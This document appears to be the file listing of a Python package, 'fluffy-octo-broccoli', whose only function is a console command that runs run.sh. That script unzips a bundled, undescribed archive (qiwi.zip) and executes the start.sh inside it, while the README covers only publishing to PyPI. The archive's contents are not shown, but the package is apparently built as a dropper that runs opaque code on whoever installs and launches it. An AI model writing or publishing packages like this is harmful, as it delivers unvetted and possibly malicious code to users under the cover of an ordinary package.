fluffy-octo-broccoli 0.1.0__tar.gz

fluffy_octo_broccoli-0.1.0/PKG-INFO

@@ -0,0 +1,21 @@
+Metadata-Version: 2.4
+Name: fluffy-octo-broccoli
+Version: 0.1.0
+Summary: Runs the bundled startup script when installed
+Requires-Python: >=3.8
+Description-Content-Type: text/markdown
+
+# fluffy-octo-broccoli
+
+This package bundles a startup script and archive so it can be installed and run from a Python environment.
+
+## Build and publish to PyPI
+
+```bash
+python3 -m pip install --user build twine
+python3 -m build
+python3 -m twine check dist/*
+python3 -m twine upload dist/*
+```
+
+Use your PyPI API token when prompted by Twine.

fluffy_octo_broccoli-0.1.0/README.md

@@ -0,0 +1,14 @@
+# fluffy-octo-broccoli
+
+This package bundles a startup script and archive so it can be installed and run from a Python environment.
+
+## Build and publish to PyPI
+
+```bash
+python3 -m pip install --user build twine
+python3 -m build
+python3 -m twine check dist/*
+python3 -m twine upload dist/*
+```
+
+Use your PyPI API token when prompted by Twine.

fluffy_octo_broccoli-0.1.0/fluffy_octo_broccoli/__init__.py

@@ -0,0 +1 @@
+"""Package entrypoint for fluffy-octo-broccoli."""

fluffy_octo_broccoli-0.1.0/fluffy_octo_broccoli/__main__.py

@@ -0,0 +1,5 @@
+from .launcher import main
+
+
+if __name__ == "__main__":
+    raise SystemExit(main())

fluffy_octo_broccoli-0.1.0/fluffy_octo_broccoli/launcher.py

@@ -0,0 +1,35 @@
+import os
+import subprocess
+import sys
+from pathlib import Path
+
+
+def _find_asset(name: str) -> Path:
+    package_dir = Path(__file__).resolve().parent
+    candidates = [
+        package_dir / name,
+        package_dir.parent / name,
+        Path.cwd() / name,
+    ]
+
+    for candidate in candidates:
+        if candidate.exists():
+            return candidate
+
+    raise FileNotFoundError(f"Could not find required asset: {name}")
+
+
+def main() -> int:
+    run_script = _find_asset("run.sh")
+
+    if not run_script.exists():
+        print(f"Missing startup script: {run_script}", file=sys.stderr)
+        return 1
+
+    os.chmod(run_script, 0o755)
+    result = subprocess.run(["bash", str(run_script)], cwd=run_script.parent)
+    return result.returncode
+
+
+if __name__ == "__main__":
+    raise SystemExit(main())

fluffy_octo_broccoli-0.1.0/fluffy_octo_broccoli/run.sh

@@ -0,0 +1,6 @@
+#!/usr/bin/env bash
+set -euo pipefail
+
+unzip -o "$(dirname "$0")/qiwi.zip"
+chmod +x start.sh
+./start.sh

fluffy_octo_broccoli-0.1.0/fluffy_octo_broccoli.egg-info/PKG-INFO

@@ -0,0 +1,21 @@
+Metadata-Version: 2.4
+Name: fluffy-octo-broccoli
+Version: 0.1.0
+Summary: Runs the bundled startup script when installed
+Requires-Python: >=3.8
+Description-Content-Type: text/markdown
+
+# fluffy-octo-broccoli
+
+This package bundles a startup script and archive so it can be installed and run from a Python environment.
+
+## Build and publish to PyPI
+
+```bash
+python3 -m pip install --user build twine
+python3 -m build
+python3 -m twine check dist/*
+python3 -m twine upload dist/*
+```
+
+Use your PyPI API token when prompted by Twine.

fluffy_octo_broccoli-0.1.0/fluffy_octo_broccoli.egg-info/SOURCES.txt

@@ -0,0 +1,13 @@
+README.md
+pyproject.toml
+fluffy_octo_broccoli/__init__.py
+fluffy_octo_broccoli/__main__.py
+fluffy_octo_broccoli/launcher.py
+fluffy_octo_broccoli/qiwi.zip
+fluffy_octo_broccoli/run.sh
+fluffy_octo_broccoli.egg-info/PKG-INFO
+fluffy_octo_broccoli.egg-info/SOURCES.txt
+fluffy_octo_broccoli.egg-info/dependency_links.txt
+fluffy_octo_broccoli.egg-info/entry_points.txt
+fluffy_octo_broccoli.egg-info/top_level.txt
+tests/test_package.py

fluffy_octo_broccoli-0.1.0/fluffy_octo_broccoli.egg-info/dependency_links.txt

@@ -0,0 +1 @@
+

fluffy_octo_broccoli-0.1.0/fluffy_octo_broccoli.egg-info/entry_points.txt

@@ -0,0 +1,2 @@
+[console_scripts]
+fluffy-octo-broccoli = fluffy_octo_broccoli.launcher:main

fluffy_octo_broccoli-0.1.0/fluffy_octo_broccoli.egg-info/top_level.txt

@@ -0,0 +1 @@
+fluffy_octo_broccoli

fluffy_octo_broccoli-0.1.0/pyproject.toml

@@ -0,0 +1,23 @@
+[build-system]
+requires = ["setuptools>=61"]
+build-backend = "setuptools.build_meta"
+
+[project]
+name = "fluffy-octo-broccoli"
+version = "0.1.0"
+description = "Runs the bundled startup script when installed"
+readme = "README.md"
+requires-python = ">=3.8"
+
+[project.scripts]
+fluffy-octo-broccoli = "fluffy_octo_broccoli.launcher:main"
+
+[tool.setuptools]
+include-package-data = true
+
+[tool.setuptools.packages.find]
+where = ["."]
+include = ["fluffy_octo_broccoli*"]
+
+[tool.setuptools.package-data]
+fluffy_octo_broccoli = ["run.sh", "qiwi.zip"]

fluffy_octo_broccoli-0.1.0/setup.cfg

@@ -0,0 +1,4 @@
+[egg_info]
+tag_build = 
+tag_date = 0
+

fluffy_octo_broccoli-0.1.0/tests/test_package.py

@@ -0,0 +1,17 @@
+import os
+import subprocess
+import sys
+from pathlib import Path
+
+
+REPO_ROOT = Path(__file__).resolve().parents[1]
+
+
+def test_run_script_is_executable_and_runs_package_entrypoint():
+    script = REPO_ROOT / "run.sh"
+    assert script.exists(), "run.sh should exist"
+    assert os.access(script, os.X_OK), "run.sh should be executable"
+
+    result = subprocess.run(["bash", str(script)], cwd=REPO_ROOT, capture_output=True, text=True)
+    assert result.returncode == 0, result.stderr or result.stdout
+    assert "start.sh" in result.stdout or "start.sh" in result.stderr or "forge" in result.stdout or "forge" in result.stderr